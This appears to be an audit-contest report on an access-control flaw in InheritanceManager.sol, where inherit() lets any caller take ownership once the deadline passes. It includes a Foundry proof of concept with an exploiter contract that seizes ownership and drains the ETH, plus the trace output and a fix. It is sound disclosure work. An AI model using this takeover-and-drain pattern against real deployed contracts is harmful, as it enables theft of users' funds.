Beginner FriendlySolidity
100 EXP
View results
Submission Details
Severity: high
Valid

Unauthorized Inheritance Exploit in InheritanceManager.sol

Summary

The InheritanceManager contract contains a critical vulnerability that allows any user to become the owner of the contract when there's exactly one beneficiary and the inactivity period (90 days) has elapsed. This bypasses the intended inheritance model and provides complete control over all funds and assets to the attacker.

Vulnerability Details

The vulnerability exists in the inherit() function which fails to verify that the caller is a legitimate beneficiary:

function inherit() external {
if (block.timestamp < getDeadline()) {
revert InactivityPeriodNotLongEnough();
}
if (beneficiaries.length == 1) {
owner = msg.sender; // CRITICAL: No verification of caller
_setDeadline();
} else if (beneficiaries.length > 1) {
isInherited = true;
} else {
revert InvalidBeneficiaries();
}
}

When beneficiaries.length == 1, the function blindly assigns ownership to msg.sender without verifying that the caller is the appointed beneficiary. This allows any address to claim ownership of the contract once the inactivity period has passed.

An attacker can monitor the blockchain for contracts with exactly one beneficiary, wait for the 90-day inactivity period, and then call inherit() to take ownership.

PoC

// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;
import "forge-std/Test.sol";
import "../src/InheritanceManager.sol";
import "../src/modules/Trustee.sol";
import "../src/NFTFactory.sol";
// Simplified exploiter contract
contract InheritanceExploiter {
InheritanceManager public target;
constructor(address payable _target) {
target = InheritanceManager(_target);
}
function exploit() external {
// Verify deadline has passed
require(block.timestamp >= target.getDeadline(), "Deadline not passed");
// Call inherit() to become the new owner
target.inherit();
// Verify exploit worked
require(target.getOwner() == address(this), "Exploit failed");
}
function drainETH() external {
require(target.getOwner() == address(this), "Not owner");
uint256 balance = address(target).balance;
if (balance > 0) {
target.sendETH(balance, address(this));
}
}
receive() external payable {}
}
contract InheritanceManagerExploitPoC is Test {
InheritanceManager inheritanceManager;
InheritanceExploiter exploiter;
address owner = address(0x1);
address beneficiary = address(0x2);
address attacker = address(0x3);
function setUp() public {
// Create the InheritanceManager contract
vm.startPrank(owner);
inheritanceManager = new InheritanceManager();
// Add exactly one beneficiary
inheritanceManager.addBeneficiery(beneficiary);
// Fund the contract
vm.deal(address(inheritanceManager), 10 ether);
vm.stopPrank();
// Create exploiter as attacker
vm.startPrank(attacker);
exploiter = new InheritanceExploiter(payable(address(inheritanceManager)));
vm.stopPrank();
}
function testExploit() public {
// Check initial state
assertEq(inheritanceManager.getOwner(), owner);
assertEq(address(inheritanceManager).balance, 10 ether);
// Warp time forward past the deadline
// TIMELOCK is 90 days
vm.warp(block.timestamp + 91 days);
// Execute exploit as attacker
vm.startPrank(attacker);
exploiter.exploit();
// Verify ownership was transferred
assertEq(inheritanceManager.getOwner(), address(exploiter));
// Drain funds
exploiter.drainETH();
vm.stopPrank();
// Verify funds were drained
assertEq(address(inheritanceManager).balance, 0);
assertEq(address(exploiter).balance, 10 ether);
}
}

PoC Result:

forge test --match-test testExploit -vvvv
[⠰] Compiling...
No files changed, compilation skipped
Ran 1 test for test/InheritanceManagerExploitPoC.t.sol:InheritanceManagerExploitPoC
[PASS] testExploit() (gas: 54165)
Traces:
[54165] InheritanceManagerExploitPoC::testExploit()
├─ [2604] InheritanceManager::getOwner() [staticcall]
│ └─ ← [Return] ECRecover: [0x0000000000000000000000000000000000000001]
├─ [0] VM::assertEq(ECRecover: [0x0000000000000000000000000000000000000001], ECRecover: [0x0000000000000000000000000000000000000001]) [staticcall]
│ └─ ← [Return]
├─ [0] VM::assertEq(10000000000000000000 [1e19], 10000000000000000000 [1e19]) [staticcall]
│ └─ ← [Return]
├─ [0] VM::warp(7862401 [7.862e6])
│ └─ ← [Return]
├─ [0] VM::startPrank(RIPEMD-160: [0x0000000000000000000000000000000000000003])
│ └─ ← [Return]
├─ [15674] InheritanceExploiter::exploit()
│ ├─ [2455] InheritanceManager::getDeadline() [staticcall]
│ │ └─ ← [Return] 7776001 [7.776e6]
│ ├─ [8677] InheritanceManager::inherit()
│ │ └─ ← [Stop]
│ ├─ [604] InheritanceManager::getOwner() [staticcall]
│ │ └─ ← [Return] InheritanceExploiter: [0x4859614cBE8bbe9cCAd991Cc69394343943CD52D]
│ └─ ← [Stop]
├─ [604] InheritanceManager::getOwner() [staticcall]
│ └─ ← [Return] InheritanceExploiter: [0x4859614cBE8bbe9cCAd991Cc69394343943CD52D]
├─ [0] VM::assertEq(InheritanceExploiter: [0x4859614cBE8bbe9cCAd991Cc69394343943CD52D], InheritanceExploiter: [0x4859614cBE8bbe9cCAd991Cc69394343943CD52D]) [staticcall]
│ └─ ← [Return]
├─ [11165] InheritanceExploiter::drainETH()
│ ├─ [604] InheritanceManager::getOwner() [staticcall]
│ │ └─ ← [Return] InheritanceExploiter: [0x4859614cBE8bbe9cCAd991Cc69394343943CD52D]
│ ├─ [8644] InheritanceManager::sendETH(10000000000000000000 [1e19], InheritanceExploiter: [0x4859614cBE8bbe9cCAd991Cc69394343943CD52D])
│ │ ├─ [55] InheritanceExploiter::receive{value: 10000000000000000000}()
│ │ │ └─ ← [Stop]
│ │ └─ ← [Stop]
│ └─ ← [Stop]
├─ [0] VM::stopPrank()
│ └─ ← [Return]
├─ [0] VM::assertEq(0, 0) [staticcall]
│ └─ ← [Return]
├─ [0] VM::assertEq(10000000000000000000 [1e19], 10000000000000000000 [1e19]) [staticcall]
│ └─ ← [Return]
└─ ← [Stop]
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 456.02µs (66.41µs CPU time)
Ran 1 test suite in 4.38ms (456.02µs CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)

Impact

Complete loss of funds and assets. The attacker gains full control of:

  • All ETH in the contract via sendETH()

  • All ERC20 tokens via sendERC20()

  • All NFTs and managed assets

  • Ability to change beneficiaries

  • The attack is simple to execute, requiring just a single transaction after the deadline has passed. No special conditions or complex sequences are needed.

Tools Used

Manual code review

Foundry

Recommendations

Add proper access control to the inherit() function by verifying that the caller is an authorized beneficiary:

function inherit() external {
if (block.timestamp < getDeadline()) {
revert InactivityPeriodNotLongEnough();
}
// Verify caller is a beneficiary
bool isBeneficiary = false;
for (uint256 i = 0; i < beneficiaries.length; i++) {
if (msg.sender == beneficiaries[i]) {
isBeneficiary = true;
break;
}
}
if (!isBeneficiary) revert NotBeneficiary();
if (beneficiaries.length == 1) {
owner = msg.sender;
_setDeadline();
} else if (beneficiaries.length > 1) {
isInherited = true;
} else {
revert InvalidBeneficiaries();
}
}
Updates

Lead Judging Commences

0xtimefliez Lead Judge 3 months ago
Submission Judgement Published
Validated
Assigned finding tags:

Inherit depends on msg.sender so anyone can claim the contract

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.